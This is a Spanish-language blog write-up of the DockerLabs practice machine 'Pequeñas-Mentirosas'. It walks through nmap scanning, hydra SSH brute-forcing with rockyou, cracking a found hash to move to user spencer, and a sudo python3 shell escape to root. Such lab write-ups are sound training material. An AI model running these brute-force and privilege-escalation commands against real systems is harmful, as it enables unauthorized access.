Post

DockerLabs - Pequeñas-Mentirosas

DockerLabs - Pequeñas-Mentirosas

nmap

1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs]
└─$ nmap -p- -sS --min-rate 5000 -v -n -Pn 172.17.0.2 -oG allPorts
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
1
2
3
4
5
6
7
8
9
10
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs]
└─$ nmap -sCV -p22,80 172.17.0.2                                
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u3 (protocol 2.0)
| ssh-hostkey: 
|   256 9e:10:58:a5:1a:42:9d:be:e5:19:d1:2e:79:9c:ce:21 (ECDSA)
|_  256 6b:a3:a8:84:e0:33:57:fc:44:49:69:41:7d:d3:c9:92 (ED25519)
80/tcp open  http    Apache httpd 2.4.62 ((Debian))
|_http-server-header: Apache/2.4.62 (Debian)
|_http-title: Site doesn´t have a title (text/html).

análisis

En la pagina inicial del puerto 80 de la maquina nos encontramos con el siguiente mensaje, el cual nos da una pista de que es lo que debemos buscar:

Desktop View

acceso inicial (a)

Lo primero que intentamos es ver si a lo que se refieren con la pista es que debemos buscar un parámetro que, si le pasamos el carácter a, obtendríamos un resultado que nos permitiría seguir. Sin embargo, nos damos cuenta de que este no es el caso.

Por ello, lo siguiente es ver si a se trata de un usuario o una contraseña de SSH, que en este caso encontramos que se trata de un usuario:

1
2
3
4
5
6
7
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs]
└─$ hydra -l a -P /usr/share/seclists/Passwords/rockyou.txt ssh://172.17.0.2 -t 64 -I

[DATA] max 64 tasks per 1 server, overall 64 tasks, 14344399 login tries (l:1/p:14344399), ~224132 tries per task
[DATA] attacking ssh://172.17.0.2:22/
[22][ssh] host: 172.17.0.2   login: a   password: secret
1 of 1 target successfully completed, 1 valid password found

Nos conectamos con las credenciales obtenidas:

1
2
3
4
5
┌──(elcybercurioso㉿kalilinux)-[~/Desktop/DockerLabs]
└─$ ssh a@172.17.0.2                                                     
a@172.17.0.2's password: 
a@94ac483a3277:~$ whoami
a

movimiento lateral (spencer)

Buscamos los ficheros que somos capaces de leer con el usuario actual, filtrando por lo que no nos interesa. De esta manera, encontramos algunos ficheros interesantes en la carpeta /srv/ftp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
a@94ac483a3277:/home$ find / -readable 2>/dev/null | grep -vE '/usr/share/zone|/proc|/sys/devices|/usr/include|/usr|/dev|/etc|/sys|/var|/run'
/
/home
/home/a
/home/a/.profile
/home/a/.bash_logout
/home/a/.bashrc
/home/spencer
/home/spencer/.profile
/home/spencer/.bash_logout
/home/spencer/.bashrc
/opt
/opt/challenges
/opt/scripts
/boot
/media
/tmp
/mnt
/srv
/srv/ftp
/srv/ftp/pista_fuerza_bruta.txt
/srv/ftp/cifrado_aes.enc
/srv/ftp/clave_publica.pem
/srv/ftp/hash_a.txt
/srv/ftp/mensaje_hash.txt
/srv/ftp/original_a.txt
/srv/ftp/mensaje_rsa.enc
/srv/ftp/retos.txt
/srv/ftp/hash_spencer.txt
/srv/ftp/retos_asimetrico.txt
/srv/ftp/clave_privada.pem
/srv/ftp/clave_aes.txt
/bin
/lib64
/lib
/sbin
/.dockerenv
/lib32

Los revisamos todos, y el que parece que puede servirnos es el /srv/ftp/hash_spencer.txt, ya que si obtenemos la contraseña del usuario spencer, podemos movernos lateralmente:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
a@94ac483a3277:/home$ cat /srv/ftp/pista_fuerza_bruta.txt
Realiza un ataque de fuerza bruta para descubrir la contraseña de spencer...
a@94ac483a3277:/home$ cat /srv/ftp/mensaje_hash.txt
Descubre el hash y tendrás la clave...
a@94ac483a3277:/home$ cat /srv/ftp/cifrado_aes.enc
�a@94ac483a3277:/home$ cat /srv/ftp/clave_publica.pem
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEArIk9pr+wSqiRQX/U29k0
kLYyLXlos5Phs7WyZK9LfDz/uBOCTBhBTMGjK5Op21Z9pszXJ6mgoreF/AW+xjTn
XDCh16kaIcACmp1nFOLn09snpk2s1h4cVJygGZmkHQg5rNMPdfn0rRmmnvgGCmim
oaubWuXYLn4Tu8GdRyAAj4P9hkZUMAQu9k1SpLRSIyVlcSisK/vBys8O05rZsZOg
0I7u2d+BuRYA8Px0qnxH1evx+Y3+oerN4823T6Vd+FqmfEHb7QUQ0EAZfJN3CFth
k9z7Q+AODqM5l8kYH2tEXk3xKQPo5qZlc6ep1tIHTERk3m0xEtE8LH157mkzbeli
VQIDAQAB
-----END PUBLIC KEY-----
a@94ac483a3277:/home$ cat /srv/ftp/hash_spencer.txt
7c6a****************************

Accedemos a crackstation.net para ver si el hash pertenece a una contraseña conocida:

Desktop View

Con la credencial recién obtenida, probamos a conectarnos como spencer:

1
2
3
4
a@94ac483a3277:/home$ su spencer
Password: 
spencer@94ac483a3277:/home$ whoami
spencer

escalada de privilegios (root)

Revisamos los permisos SUDO del usuario spencer, y vemos que podemos ejecutar python3 como el usuario root:

1
2
3
4
5
6
spencer@94ac483a3277:/home$ sudo -l
Matching Defaults entries for spencer on 94ac483a3277:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty

User spencer may run the following commands on 94ac483a3277:
    (ALL) NOPASSWD: /usr/bin/python3

En GTFOBins nos indican que podemos obtener una consola como el usuario root cuando tengamos permiso SUDO sobre python:

Desktop View

Ejecutamos el comando indicado, y ya tendríamos la consola como el usuario root:

1
2
3
spencer@94ac483a3277:/home$ sudo python3 -c 'import os; os.system("/bin/sh")'
# whoami
root

buymecoffee_icon

This post is licensed under CC BY 4.0 by the author.